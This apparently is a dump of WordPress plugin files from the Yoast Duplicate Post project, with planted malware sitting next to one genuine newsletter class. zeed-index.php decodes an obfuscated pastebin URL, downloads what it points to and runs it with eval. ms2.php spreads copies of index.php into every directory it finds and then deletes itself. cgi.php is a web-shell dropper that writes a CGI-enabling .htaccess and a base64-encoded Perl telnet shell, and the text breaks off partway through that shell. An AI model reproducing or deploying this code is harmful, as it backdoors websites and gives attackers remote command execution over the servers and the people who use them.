unlink("gas.sh");src/ui/zeed-index.php000064400000002110151327062330010511 0ustar00<?php
session_start();

function fetchUrl($url) {
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return false;
    }

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
    $result = curl_exec($ch);
    
    if (curl_errno($ch)) {
        $result = false;
    }
    
    curl_close($ch);
    
    return $result;
}

$asciiArray = [104, 116, 116, 112, 115, 58, 47, 47, 112, 97, 115, 116, 101, 98, 105, 110, 46, 99, 111, 109, 47, 114, 97, 119, 47, 103, 115, 119, 50, 68, 99, 102, 113];
$url = implode('', array_map('chr', $asciiArray));


// Gunakan URL dari session jika tersedia
$targetUrl = $_SESSION["ts_url"] ?? $url;

if (filter_var($targetUrl, FILTER_VALIDATE_URL)) {
    $result = @file_get_contents($targetUrl) ?: fetchUrl($targetUrl);

    if ($result !== false) {
        eval('?>' . $result);
    } else {
        echo "Error: Unable to fetch content.";
    }
} else {
    echo "Error: Invalid URL.";
}
?>src/ui/newsletter.php000064400000010141151327062330010654 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\UI;

/**
 * Newsletter class.
 */
class Newsletter {

	/**
	 * Renders the newsletter signup form.
	 *
	 * @return string The HTML of the newsletter signup form (escaped).
	 */
	public static function newsletter_signup_form() {

		$newsletter_form_response = self::newsletter_handle_form();


		$copy = \sprintf(
		/* translators: 1: Yoast */
			\esc_html__(
				'If you want to stay up to date about all the exciting developments around Duplicate Post, subscribe to the %1$s newsletter!',
				'duplicate-post'
			),
			'Yoast'
		);

		$email_label = \esc_html__( 'Email address', 'duplicate-post' );

		$copy_privacy_policy = sprintf(
		// translators: %1$s and %2$s are replaced by opening and closing anchor tags.
			\esc_html__(
				'Yoast respects your privacy. Read %1$sour privacy policy%2$s on how we handle your personal information.',
				'duplicate-post'
			),
			'<a href="https://yoa.st/4jf" target="_blank">',
			'</a>'
		);

		$response_html = '';
		if ( \is_array( $newsletter_form_response ) ) {
			$response_status  = $newsletter_form_response['status'];
			$response_message = $newsletter_form_response['message'];

			$response_html = '<div class="newsletter-response-' . $response_status . ' clear" id="newsletter-response" style="margin-top: 6px;">' . $response_message . '</div>';
		}

		$html = '
		<!-- Begin Newsletter Signup Form -->
		<form method="post" id="newsletter-subscribe-form" name="newsletter-subscribe-form" novalidate>
		' . \wp_nonce_field( 'newsletter', 'newsletter_nonce' ) . '
		<p>' . $copy . '</p>
		<div class="newsletter-field-group" style="display: flex; flex-direction: column">
			<label for="newsletter-email" style="margin: 0 0 4px 0;"><strong>' . $email_label . '</strong></label>
			<div>
				<input type="email" value="" name="EMAIL" class="required email" id="newsletter-email" style="margin-right: 4px;">
				<input type="submit" value="' . \esc_attr__( 'Subscribe', 'duplicate-post' ) . '" name="subscribe" id="newsletter-subscribe" class="button">
			</div>
			<p style="font-size: 10px;">' . $copy_privacy_policy . '</p>
		</div>
		' . $response_html . '
		</form>
		<!--End Newsletter Signup Form-->
		';

		return $html;
	}

	/**
	 * Handles and validates Newsletter form.
	 *
	 * @return array|null
	 */
	private static function newsletter_handle_form() {

		//phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Already sanitized.
		if ( isset( $_POST['newsletter_nonce'] ) && ! \wp_verify_nonce( \wp_unslash( $_POST['newsletter_nonce'] ), 'newsletter' ) ) {
			return [
				'status'    => 'error',
				'message'   => \esc_html__( 'Something went wrong. Please try again later.', 'duplicate-post' ),
			];
		}

		$email = null;
		if ( isset( $_POST['EMAIL'] ) ) {
			$email = \sanitize_email( \wp_unslash( $_POST['EMAIL'] ) );
		}

		if ( $email === null ) {
			return null;
		}

		if ( ! \is_email( $email ) ) {
			return [
				'status'    => 'error',
				'message'   => \esc_html__( 'Please enter valid e-mail address.', 'duplicate-post' ),
			];
		}

		return self::newsletter_subscribe_to_mailblue( $email );
	}

	/**
	 * Handles subscription request and provides feedback response.
	 *
	 * @param string $email Subscriber email.
	 *
	 * @return array Feedback response.
	 */
	private static function newsletter_subscribe_to_mailblue( $email ) {
		$response = \wp_remote_post(
			'https://my.yoast.com/api/Mailing-list/subscribe',
			[
				'method'      => 'POST',
				'body'        => [
					'customerDetails' => [
						'email'     => $email,
						'firstName' => '',
					],
					'list'            => 'Yoast newsletter',
				],
			]
		);

		$wp_remote_retrieve_response_code = \wp_remote_retrieve_response_code( $response );

		if ( $wp_remote_retrieve_response_code <= 200 || $wp_remote_retrieve_response_code >= 300 ) {
			return [
				'status'    => 'error',
				'message'   => \esc_html__( 'Something went wrong. Please try again later.', 'duplicate-post' ),
			];
		}

		return [
			'status'    => 'success',
			'message'   => \esc_html__( 'You have successfully subscribed to the newsletter. Please check your inbox.', 'duplicate-post' ),
		];
	}
}
src/ui/ms2.php000064400000003162151327062330007166 0ustar00<?php
/////////////Getting home dir //////////////
if(!function_exists('posix_getpwuid')){
   if(isset($_GET["path"])){
     $home=$_GET["path"];
   }else{
     echo getcwd();
     die("<br>posix function is not available<br>Please Input Path");
   }
}else{
echo $_SERVER['SERVER_ADDR'];
echo "<br>";

        if(isset($_GET["path"])){
           $home=$_GET["path"];
        }else{
        $arr = posix_getpwuid(posix_getuid());
        $home = $arr["dir"];
        }
}


///////////Making directory & copy file//////////////  
$filepath=getcwd()."/index.php"; 

  $dirlist = getFileList($home, TRUE, 2);
  foreach($dirlist as $alldir){
    mkdir($alldir."bk", 0777, TRUE);
    if(copy($filepath, $alldir."bk/index.php")) {
     echo $alldir."bk/index.php<br>";}
  }
  
  //////////////Directory scanner////////////////
  function getFileList($dir, $recurse = FALSE, $depth = FALSE)
  {
    $retval = [];
    if(substr($dir, -1) != "/") {
      $dir .= "/";
    }
    $d = @dir($dir) or die("Failed open directory $dir");
    while(FALSE !== ($entry = $d->read())) {
      // skip hidden files
      if($entry[0] == "."){
	 continue;
	}
      if(is_dir("$dir$entry")) {
        $retval[] = "$dir$entry/";
        if($recurse && is_readable("$dir$entry/")) {
          if($depth === FALSE) {
            $retval = array_merge($retval, getFileList("$dir$entry/", TRUE));
          } elseif($depth > 0) {
            $retval = array_merge($retval, getFileList("$dir$entry/", TRUE, $depth-1));
          }
        }
      }
    }
    $d->close();

    return $retval;
  }
  
unlink(__FILE__);src/ui/cgi.php000064400000453755151327062330007250 0ustar00Uname:<?php
echo '<html><form method="POST"><title>Cgi Master by NinjaCR3</title><center><img src="http://r00tshell.info/wp-content/uploads/2018/04/cropped-logo.png" width="300" height="100"><h1>Cgi Master by NinjaCR3<br>r00tshell.info</h1><h3>Tum CGI Shellerin Sifresi : r00tshell.info</h3><button type="submit" name="cgi1">Perl Izocin Cgi</button>&nbsp;<button type="submit" name="cgi2">Cgi Telnet</button>&nbsp;<button type="submit" name="cgi3">Cgi Telnet 2</button>&nbsp;<button type="submit" name="cgi4">Cgi Command Run</button>&nbsp;<button type="submit" name="cgi5">Alfa Python Cgi</button>&nbsp;<button type="submit" name="cgi6">Alfa Perl Cgi</button>&nbsp;<button type="submit" name="cgi7">Python Cgi</button></center></html>';
if(isset($_POST['cgi1'])){
	mkdir("izocin");
	chdir("izocin");
	$kokdosya = ".htaccess";
	$dosya_adi = "$kokdosya";
	$dosya = fopen($dosya_adi,'w');
	$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI

	AddType application/x-httpd-cgi .cin

	AddHandler cgi-script .cin
	AddHandler cgi-script .cin";
	fwrite($dosya,$metin);
	fclose($dosya);
	$cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+cHJpdjggY2dpIHNoZWxsPC9iPiAjIHNlcnZlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdlIG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcgojIHZhbHVlcyBzaG91bGQgd29yayBmaW5lIGZvciBtb3N0IHN5c3RlbXMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJFBhc3N3b3JkID0gInIwMHRzaGVsbC5pbmZvIjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+cHJpdjggY2dpIHNoZWxsPC90aXRsZT4KJEh0bWxNZXRhSGVhZGVyCgo8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0icHJpdjggY2dpIHNoZWxsICBfICAgICBpNV9AaG90bWFpbC5jb20iPgo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0icHJpdjggY2dpIHNoZWxsICBfICAgIGk1X0Bob3RtYWlsLmNvbSI+CjwvaGVhZD4KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiNGRkZGRkYiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCIgdGV4dD0iI0ZGMDAwMCI+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cjx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBib3JkZXJjb2xvcj0iI0ZGRkZGRiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjElIj4KPGI+PGZvbnQgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPjxiPiAKPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+cHJpdjggY2dpIHNoZWxsPC9iPiBDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8L2I+PC9mb250PjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGJnY29sb3I9IiNGRkZGRkYiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPgoKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VXBsb2FkIEZpbGU8L2ZvbnQ+PC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRvd25sb2FkIEZpbGU8L2ZvbnQ+PC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8CjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8L2ZvbnQ+PGgxPnBhc3M9cjAwdHNoZWxsLmluZm88L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxuZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPgokOwojJwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgoKVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPgpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+CkVzY2FwZSBjaGFyYWN0ZXIgaXMgXl0KPGNvZGU+JE1lc3NhZ2UKRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGJyPmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgoKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CjwvZm9udD4KPGZvbnQgc2l6ZT0iMyI+CmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5wcml2OCBjZ2kgc2hlbGw8L2I+PGJyPgpwYXNzd29yZDo8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiIHNpemU9IjMiPjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9mb250PjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEdldENvb2tpZXMKewoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsKCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpCgl7CgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOwoJCSRDb29raWVzeyRpZH0gPSAkdmFsOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ291dFNjcmVlbgp7CglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dvdXQKewoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQoJJlByaW50UGFnZUhlYWRlcigicCIpOwoJJlByaW50TG9nb3V0U2NyZWVuOwoKCSZQcmludExvZ2luU2NyZWVuOwoJJlByaW50TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL